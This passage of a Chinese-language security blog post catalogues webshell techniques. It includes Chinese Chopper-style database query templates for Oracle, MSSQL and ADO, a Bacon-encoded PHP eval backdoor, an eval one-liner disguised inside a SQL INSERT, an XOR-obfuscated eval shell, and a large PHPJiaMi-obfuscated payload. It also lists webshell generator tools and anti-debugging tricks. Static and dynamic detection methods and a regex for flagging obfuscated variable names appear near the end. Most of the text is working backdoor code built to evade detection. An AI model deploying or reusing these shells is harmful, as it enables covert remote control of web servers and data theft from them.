$hst='%s';$usr='%s';$pwd='%s';$tbn='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tbn}' ORDER BY COLUMN_ID");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)." (".ora_getcolumn($q,1).")\t";}}@ora_close($T);}
</DB_PHP_ORACLE_COLUMNLIST>

<DB_PHP_ORACLE_EXECUTESQL>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,$sql);if(ora_exec($q)){$n=ora_numcols($q);if($n>){for($i=0;$i<$n;$i++){echo Ora_ColumnName($q,$i)."\t|\t";}echo "\r\n";while(ora_fetch($q)){for($i=0;$i<$n;$i++){echo ora_getcolumn($q,$i)."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@ora_close($T);}
</DB_PHP_ORACLE_EXECUTESQL>


//////////////PHP_MSSQL///////////////////沒測試,應該能用的,若是有環境的同窗改好發一份給我

<DB_PHP_MSSQL_DBLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("select [name] from master.dbo.sysdatabases",$T);if($q){while($rs=@mssql_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);}
</DB_PHP_MSSQL_DBLIST>

<DB_PHP_MSSQL_TABLELIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT [name] FROM sysobjects WHERE (xtype='U' OR xtype='S') ORDER BY 1",$T);if($q){while($rs=@mssql_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);}
</DB_PHP_MSSQL_TABLELIST>

<DB_PHP_MSSQL_COLUMNLIST>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){while($rs=@mssql_fetch_field($q)){echo $rs->name." (".$rs->type.")\t";}}@mssql_close($T);}
</DB_PHP_MSSQL_COLUMNLIST>

<DB_PHP_MSSQL_EXECUTESQL>
$hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){$i=0;while($rs=@mssql_fetch_field($q)){echo $rs->name."\t|\t";$i++;}if($i>0){echo "\r\n";while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo  "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@mssql_free_result($q);}else{echo  "Result\t|\t\r\nError occurred!\t|\t\r\n";}@mssql_close($T);}
</DB_PHP_MSSQL_EXECUTESQL>



////////////////////ASP_ADO/////////////////////////修改時一個符號的錯誤可能都讓你鬱悶一天///

<DB_ASP_ADO_DBLIST>
Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)
</DB_ASP_ADO_DBLIST>

<DB_ASP_ADO_TABLELIST>
Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)
</DB_ASP_ADO_TABLELIST>

<DB_ASP_ADO_COLUMNLIST>
Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "%s",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)
</DB_ASP_ADO_COLUMNLIST>

<DB_ASP_ADO_EXECUTESQL>
Dim CS,SQL:CS="%s":SQL="%s":Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open CS:Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(SQL):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:If FN=-1 Then:Response.Write HD&"Execute Successfully!"&CO&RN:Else:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing
</DB_ASP_ADO_EXECUTESQL>


////////////////////ASPX_ADO////////////////////////////

<DB_ASPX_ADO_DBLIST>
var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");Response.Write("[ADO DATABASE]\t");Conn.Close();
</DB_ASPX_ADO_DBLIST>

<DB_ASPX_ADO_TABLELIST>
var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);
</DB_ASPX_ADO_TABLELIST>

<DB_ASPX_ADO_COLUMNLIST>
var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("%s",Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+"\t");}Rs.Close();Conn.Close();
</DB_ASPX_ADO_COLUMNLIST>

<DB_ASPX_ADO_EXECUTESQL>
var er:Exception;try{var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\t|\t",RN:String="\r\n",Dat:String;var Rs=Conn.Execute("%s");var i:Int32=Rs.Fields.Count,c:Int32;if(i>0){for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}}else{Response.Write("Result"+CO+RN+"Execute Successfully!"+CO+RN);}}catch(er){Response.Write("Result"+CO+RN+er.message+CO+RN);}Conn.Close();
</DB_ASPX_ADO_EXECUTESQL>

0x74: Bacon自定義編碼webshell

<?php   
    //beacon編碼
    function bacon_encode($s)
    {  
        $KEY = 'aaaaabbbbbabbbaabbababbaaababaab';
        $ALPHABET = 'abcdefghijklmnopqrstuvwxyz';

        # create list of tuples with key_value_structure = key_letter_of_alphabet
        //$key_v用於進行beacon翻譯
        for ($i=0; $i < strlen($ALPHABET); $i++) {  
            $key_v[$ALPHABET[$i]] = substr($KEY, $i, 5);
        }   

        //將輸入密碼的大小寫模式轉換爲beacon編碼
        $newstr = '';
        for ($i=0; $i < strlen($s); $i++) {  
             $newstr .= ctype_lower($s[$i]) ? 'a' : 'b';
        }  

        $counter = strlen($s);
        $result = ''; 
        //die(var_dump($key_v));
        while($counter > 0){
            foreach ($key_v as $key => $value) {
                if($value == substr($newstr, 0, 5)){
                    $result .= $key;  
                }
            } 
            $newstr = substr($newstr, 5);
            $counter = $counter - 5;
        }
        return $result;
    }  

@eval(bacon_encode($_POST['caidao']));
?>

POST:
http://xxx?caidao=
ABAAAABABAABBABBAABBAABAABABBAABBABBAABB

// 這裏key的值caidao自己也能夠進行編碼,經過編碼的方式獲得key值 <PHP_BASE.加密示例> ABAAAABABAABBABBAABBAABAABABBAABBABBAABB%%3D&id=%s </PHP_BASE.加密示例>

這裏bacon解碼是採用大小寫方式,隱蔽性更強,經過這種隱寫的思路,在流量中只會出現一些大小寫交叉分佈的"合法字符",惡意特徵這個檢測維度將不復存在

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473786&idx=1&sn=59747e20fe97ca8249d5d2584bc5d030&scene=2&srcid=0621Qf07ZS5zGrDO7HapV5Qz&from=timeline&isappinstalled=0

0x75: 用雙引號、單引號包裹

INSERT INTO `dede_mytag` VALUES('26635','0','','0','0','0','<?php @eval($_POST[ou])?>','');
111

PHP的解釋引擎會自動忽略<?php以前的字符(包括單引號、雙引號),直到遇到<?php開始解析jit執行,黑客利用這種方式將webshell隱藏地像一個sql文件同樣

0x76: 用異或隱藏關鍵字

<?php
@$_++; 
$__=("#"^"|"); 
$__.=("."^"~"); 
$__.=("/"^"`"); 
$__.=("|"^"/"); 
$__.=("{"^"/"); 
@eval(${$__}[!$_]);
?>

 

3. webshell變種後門生成工具介紹

webshell的自動化生成和混淆工具目前已經有不少不錯的工具可用了

1. webacoo
https://github.com/anestisb/WeBaCoo/

2. weevely
https://github.com/epinna/weevely/
http://www.freebuf.com/tools/39765.html
3. Hookworm https://github.com/modcloth-labs/hookworm 4. hidemyphpshell.py http://hackeruna.com/2011/09/06/hidemyphpshell-ofuscador-de-codigo-php/

這幾款工具,都有簡單易用的命令行界面,能夠方便地生成webshell

 

4. webshell的檢測技術

這塊內容目前剛開始接觸,還有待深刻學習,應該在以後的學習筆記中會繼續研究

目前webshell的檢測主要分爲靜態檢測和動態檢測。

靜態檢測主要是基於如下幾點:
1) 基於正則的特徵匹配: webshell經常表現出一些有別於正常業務代碼的特徵
典型的表明: LMD (Linux Malware Detect) scanner
http://www.clamav.net/lang/en/

2) 基於文本的統計特徵的閾值分析: webshell因爲每每通過了編碼和加密,會表現出一些特別的統計特徵
典型的表明: NeoPI -- https://github.com/Neohapsis/NeoPI

3) 基於文件間"關聯性"的分析: webshell通常和原始目錄下的其餘正常文件關聯性較低

動態檢測主要是基於如下幾點:

1) 編寫PHP擴展,對關鍵函數的執行進行HOOK,例如system等函數,這樣,就能夠創造出一個PHP的執行沙箱,進行虛擬機檢測

2) 進行磁盤文件系統的實時監控,getshell的過程必定會涉及到磁盤的讀寫,利用windows提供的API:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx
WaitForMultipleObjects function

http://msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspx
ReadDirectoryChangesW function
能夠實現對磁盤操做的實時監控,對可疑的webshell建立進行分析、檢測、攔截

 

4. webshell隱藏反檢測對抗手段

webshell隱藏與檢測對抗中開始出現了大量的"在線加密工具",其中開始引入了二進制反調試、反檢測對抗的一些思路

0x1: 反調試手段

參考了傳統二進制反調試手段,webshell也引入了一樣的技術

1. 驗證文件MD5值
2. 限制IP
3. 限域名
4. 限時間
5. 防破解
6. 防命令行調試
//源碼+加密外殼 == 加密程序 

1. 防命令行調試

防止PHP命令行模式,由於咱們IIS 或APACHE 都是工做在ISAPI或者CGI模式,是不會出現CLI .能夠防止程序破解

if (php_sapi_name() == "cli") 
{ 
    echo "請不要破解本程序"; 
    exit; 
}

2. 驗證文件MD5值

MD5的方式,此方式較複雜。通常會將一段加密後的代碼,判斷MD5值,寫入到PHP中。程序運行的時間讀取這一段MD5值,並判斷。若是值不相同則中止運行。常見的加密文件,不可修改,修改即沒法執行也是這個緣由

0x2: 代碼混淆手段

黑客採用ASCII碼(129-255)之間的字符來加密,形成代碼不可讀,以此對大馬/一句話進行隱藏

<?php /* PHP Encode by  http://Www.PHPJiaMi.Com/ */
error_reporting(0);
ini_set("display_errors", 0);
if(!defined('lrwysyfg')){define('lrwysyfg',__FILE__);
if (function_exists(" ì󇗍ó윐")==false){function œ¦ë¢ñÝ©($‰úà•óÌãŽø){global$¯Ã¸’э‰úÞ„,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–ٍ¿Æä,$¾Êåø ›Õèêø,$ÌÞ͝¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥「¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤」,$Ì纁「「åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$œè§Å」Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$˝̎ډ¯¡=$Ãᗍÿ³š=$ŸÔù„™」¶ž˜ñ=$œêÃú¥­¿û=$Ž‘»ð‰Ä³Áó¶=$̢¯¨ÒÜø»žÝ=$¿¾ŸÌù¯û¨š」=$‚Œ±²ƒåŸ=$À¶ðæŽä=$š÷Ì…˜Ž=$…Õ‚è…Éά='Ôãßïì‹ÕŸ';$ÄÒ—Ó°‰„Õ¿=$œè§Å」Þú¦þ‘('ŒAà Š¬¢Š¬ðÞCAA==');$ÇÃÙڵس‚·=$œè§Å」Þú¦þ‘('AAè¦');$ȫȼ¶Ø¼ˆ…=$œè§Å」Þú¦þ‘('Bî5Ê');$ÁÞ׏¸î–=$œè§Å」Þú¦þ‘('C¢èªŠ¬ØŒCŒÐ¦');$§Ñ„ïŽ÷콺̳=$œè§Å」Þú¦þ‘('¬¬’ªî==');$ÄÒ—Ó°‰„Õ¿()==$ȫȼ¶Ø¼ˆ…?$ÇÃÙڵس‚·():'';$…ßïÜó´¾ß=$¯Ã¸’э‰úÞ„($¾Êåø ›Õèêø($œè§Å」Þú¦þ‘('CBBAŽÖ¬’B1’=')));$¥—」ÀÃü£¯ü=$ÁÞ׏¸î–(true)*$§Ñ„ïŽ÷콺̳;eval("");if(($ÁÞ׏¸î–(true)*$§Ñ„ïŽ÷콺̳-$¥—」ÀÃü£¯ü)>100){$ÇÃÙڵس‚·();}eval($œè§Å」Þú¦þ‘('D¢¢ÌŠŠ」DŠ¬àŠ¨¨Þ8’òà/Æ®Ø␤Β¤ªŒ˜¤Ö9¨¬¤ØD¢Œè´¢ÎÈ–¨¤ªŠ¨¬4¤Að²˜ABæÈDªÎ='));!$ žšÎµ ($…Õ‚è…Éά($¢™ìëÛíÛ($…ßïÜó´¾ß,$˜î…ƒ¹é('¦¬²C'),$¼üáʹކ°ç('¦¬š='))),$Ì纁「「åúÙ($¢™ìëÛíÛ($…ßïÜó´¾ß,$˝̎ډ¯¡('¬A=='),$Ãᗍÿ³š('¦¬²B'))))?$–ÁŽ—‰¬·Üö´():$¢ºƒÕ³ÖÁ›;$±Œð‰Ëû퍩¦=$ŸÔù„™」¶ž˜ñ('¦¬²Cªî==');$›ÿ—±Ô³©†ŽÇ=$œêÃú¥­¿û('¦¬²B');$›ÿ—±Ô³©†ŽÇ=$µŒéë¾û¨¹Ã¤」(@$¥「¦‰ªÎ($¿¾ŸÌù¯û¨š」($¢™ìëÛíÛ($…ßïÜó´¾ß,$±Œð‰Ëû퍩¦,$›ÿ—±Ô³©†ŽÇ))));return$›ÿ—±Ô³©†ŽÇ;}function –ôäÀЊڊ」ÿä(){$æØÊñÒ‚Æò='6f6e66723634';$Ä­ÚÉ‹—µ’='pa';$ÔƏçÑÛ»ë='7374725f';$±ã•±Ó¡「='H'.'*';$Ä­ÚÉ‹—µ’.='ck';$æØÊñÒ‚Æò.='5f717270627172';$ÔƏçÑÛ»ë.='726f743133';$ˆÎ„ÕÆÏ—ÆÓ¨=$Ä­ÚÉ‹—µ’($±ã•±Ó¡「,$ÔƏçÑÛ»ë);$「ðžÇ¨ë½Çö=$ˆÎ„ÕÆÏ—ÆÓ¨($Ä­ÚÉ‹—µ’($±ã•±Ó¡「,$æØÊñÒ‚Æò));return$「ðžÇ¨ë½Çö;}function  ì󇗍ó윐(&$Ó…ðç¦Ñîòì,$½ÝУªÎ){$œè§Å」Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$˝̎ډ¯¡='Ôãßïì‹ÕŸ';$’àà±ò×「±ôæ=$œè§Å」Þú¦þ‘('Œð´Œ Š¤ÊŒ¢¢Š');$¤¦ì» Ž‹Æ=$˜î…ƒ¹é('Œð´ŒŠ¬œ');$ÆÄÿÛЖ=$¼üáʹކ°ç('AðÐCD¬¬ÊDŠ¬ŒAB²¢');$Ô‘²™ƒ¥=$±ÓƒìżٽÙ÷('Œð´ŒCÖ´CD¬¤ŠD¢A¢');$Óœƒ¢‹öŠ=$±ÓƒìżٽÙ÷('A¤àD1جBA==');$™»û˜ÀÒµ=$’àà±ò×「±ôæ($¤¦ì» Ž‹Æ($ÆÄÿÛЖ($Ô‘²™ƒ¥($˝̎ډ¯¡('˜Î–7¢0/ÞΪ7ÞŠê°88Žæ3ò6Š Šì’Ü97ê¤C¦Ü¢ °¢Ø90」ÜŽ®êæš´Öž/Ü7ÖêÂÐ0®A0ÞƪD4BÊ8ÐŽŒÜ²CÎ4®ôŽœ1BÜ+ŒèÔÎÔ¢9ª/Œ®Ä–ÜBÔàòðâì5–ÔÌäCÆ1èÚòî˜Æî®Øô¦Ö ÄÊž99ÊîÄÚŒ+Öä0œòBÂ0´š¤œÊê®æê’Š/Ð78928¢ò´Ø6Cî+¢̦–¢=')))));$ÄØ­Çàˆ=$Óœƒ¢‹öŠ(',',$™»û˜ÀÒµ);$Ó…ðç¦Ñîòì=$ÄØ­Çàˆ[$½ÝУªÎ];}function Ôãßïì‹ÕŸ($°ß˜ýÄÄƈ,$ȍªÓüßù=''){$–ôäÀЊڊ」ÿä=–ôäÀЊڊ」ÿä();$」¸õÄ‚Ë®=$–ôäÀЊڊ」ÿä('b3Jk');$žâçÕ챃º©=$–ôäÀЊڊ」ÿä('c3RybGVu');$「ðžÇ¨ë½Çö=$–ôäÀЊڊ」ÿä('Y2hy');$ȍªÓüßù=!$ȍªÓüßù?$」¸õÄ‚Ë®('ˆ'):$ȍªÓüßù;$¢ðËÔþ±=$½÷è「äŸÁŽ;for(;$¢ðËÔþ±<$žâçÕ챃º©($°ß˜ýÄÄƈ);$¢ðËÔþ±++)$–ÞŠµ£ÍÝýóƒé.=$」¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$」¸õÄ‚Ë®('õ')?(($」¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})>$ȍªÓüßù&&$」¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$」¸õÄ‚Ë®('õ'))?$「ðžÇ¨ë½Çö($」¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})/2):$°ß˜ýÄÄƈ{$¢ðËÔþ±}):'';$›ÿ—±Ô³©†ŽÇ=$–ôäÀЊڊ」ÿä($–ÞŠµ£ÍÝýóƒé);$Ì纁「「åúÙ=$–ôäÀЊڊ」ÿä('bWQ1');$¢ðËÔþ±=$½÷è「äŸÁŽ;$ȍªÓüßù=$Ì纁「「åúÙ('8_Q.L2');$」¸õÄ‚Ë®=$ctrmax=$žâçÕ챃º©($ȍªÓüßù);for(;$¢ðËÔþ±<$žâçÕ챃º©($›ÿ—±Ô³©†ŽÇ);$¢ðËÔþ±++){$」¸õÄ‚Ë®=$」¸õÄ‚Ë®?$」¸õÄ‚Ë®:$ctrmax;$」¸õÄ‚Ë®--;$‡­æȊɘ.=$›ÿ—±Ô³©†ŽÇ[$¢ðËÔþ±]^$ȍªÓüßù[$」¸õÄ‚Ë®];}return$‡­æȊɘ;}}}global$¯Ã¸’э‰úÞ„,$™§‘Ë«¼¸²¹·ì,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–ٍ¿Æä,$¾Êåø ›Õèêø,$ÌÞ͝¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥「¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤」,$Ì纁「「åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$ˆµ™ðú˜ú©Ê†=$̳¹Êì†÷í̽=$š´ƒù£œ¬Â=$ŠÒ¹»°È¯ì=$ÄïÛšË⌹®=$¶È¦ªãÏ=$±²Ã¹Ú¥ÖùÙÑ=$ŸËýχÐ÷=$º³«ÑŸû½ªð=$Î㪙†ò舻õ=$‚©Ð‘…Æ=$»¨Œö„ÛÐ=$ž±¨½¦ìì =$³¦•Ì‘çþ=$‘ñëþ¬ã㊩ÀÏ=$‡ø¥«¾•¯ÕË•=$ŠÝ=$›ðÓÔÿ´öשÐß=' ì󇗍ó윐';if(!$¯Ã¸’э‰úÞ„){$ˆµ™ðú˜ú©Ê†($¯Ã¸’э‰úÞ„,7);$̳¹Êì†÷í̽($¢™ìëÛíÛ,8);$š´ƒù£œ¬Â($ºÍè–ٍ¿Æä,9);$ŠÒ¹»°È¯ì($¥「¦‰ªÎ,4);$ÄïÛšË⌹®($®óëãâæ…â¿,12);$¶È¦ªãÏ($ žšÎµ ,11);$±²Ã¹Ú¥ÖùÙÑ($ÁÛ¾îϬÜç,2);$ŸËýχÐ÷($µŒéë¾û¨¹Ã¤」,13);$º³«ÑŸû½ªð($Ì纁「「åúÙ,14);$Î㪙†ò舻õ($ÂÊ„©À¹Óÿ´–¤,15);$‚©Ð‘…Æ($žÞèú›¸´,16);$»¨Œö„ÛÐ($ÌÞ͝¦í¾¨¢é,17);$ž±¨½¦ìì ($¶ò˼ÈãˆÜØ,18);$³¦•Ì‘çþ($¾Êåø ›Õèêø,10);$‘ñëþ¬ã㊩ÀÏ($É´‚úùÒ¾èøàÓ,5);$‡ø¥«¾•¯ÕË•($¯³˜®ìûÃ,6);$ŠÝ($™§‘Ë«¼¸²¹·ì,1);$›ðÓÔÿ´öשÐß($±ŠœÀðÁ»,3);}$œè§Å」Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷='Ôãßïì‹ÕŸ';$‰úà•óÌãŽø=$œè§Å」Þú¦þ‘('žî¤Þ');$›ÿ—±Ô³©†ŽÇ=œ¦ë¢ñÝ©($$‰úà•óÌãŽø);$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));$²†•øÀ؝Ì=$¶ò˼ÈãˆÜØ($›ÿ—±Ô³©†ŽÇ);$‡­æȊɘ=$œè§Å」Þú¦þ‘('A¤¤®Dð5¨AŠ´¦ª1Š8A¢´¢®1」¢Ž¤ô®æ –9Ê6Þ/ÐØ–®Î==');$‡­æȊɘ=$ÌÞ͝¦í¾¨¢é($˜î…ƒ¹é('¦1¬¬¬Œœ¢®Bà¦'),$‡­æȊɘ,$¼üáʹކ°ç('ªîAABØÆ’'));$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));return$‡­æȊɘ;//end?>˜ÒŠ1’®A˜Ðè6šð¬˜ä6+²4ŽÄÜ5ìÊê/Ê¢ð 6–Ò12°2ҐœAœð5Ì®9îÆÐŒ–CØâ3äBŠDÒCèÐäòBB–ä´C3à」žæè48˜ô3¨æβސÜÄèšô蘘ÌCÄæÊ´ÒšŽÞ9¤」5°®5òÌšàA9ÄÒ3ŽÂCŠÖîðBš–ªØ²œªB9Ê7C/°9Æ2šÜÒÈ3è¦+Ä¢è–Þ´šÆDŒ´7æ–°ô92AÄÈê/3êØž/¬¦¤äC°C ’òÂê¨à」B誠A¨4àÐŽÒ2ØC3Úè–ðÜŒÄÖâ 85æ®Ö5žð¦èŒA¤BÆ」Ê9Úâ¢Æ6®9ô¦ÈžÒÜ AàCò+²’žàD625ìŠî¢èÆÂîŒCB––6ÞC8ØŠÐÂÒ1CÞО’è8ð3ìŠØBîCšò˜Ò8¨02ÄîšâÒʨ4ôòäÚ」ÂÊDŠÞÈCà/œÖ¦˜959êâž9°AÆÈÖ1ÔÞ˜ôâªDAÔ´3´êŠâC//ؘè4ð61Æ+˜Œ’3/ÎĬÚA==Å2Îœ¨¬1」°AØ¢A¬1ð¦AŒ²–¬1ªŒB¢9°DÎ9ª¬1’Bªî」ªª¬」È;

檢測方法

\$[\x7f-\xff][\w\x7f-\xff]*

爲了防止將中文unicode誤報,須要連續匹配2個非可見ASCII字符

Relevant Link:

http://www.phpjiami.com/article/25.html
http://www.phpjiami.com/article/24.html
http://www.phpjiami.com/article/26.html
http://ascii.911cha.com/
http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
http://www.chi2ko.com/tool/CJK.htm

 

Copyright (c) 2015 LittleHann All rights reserved

相關文章
相關標籤/搜索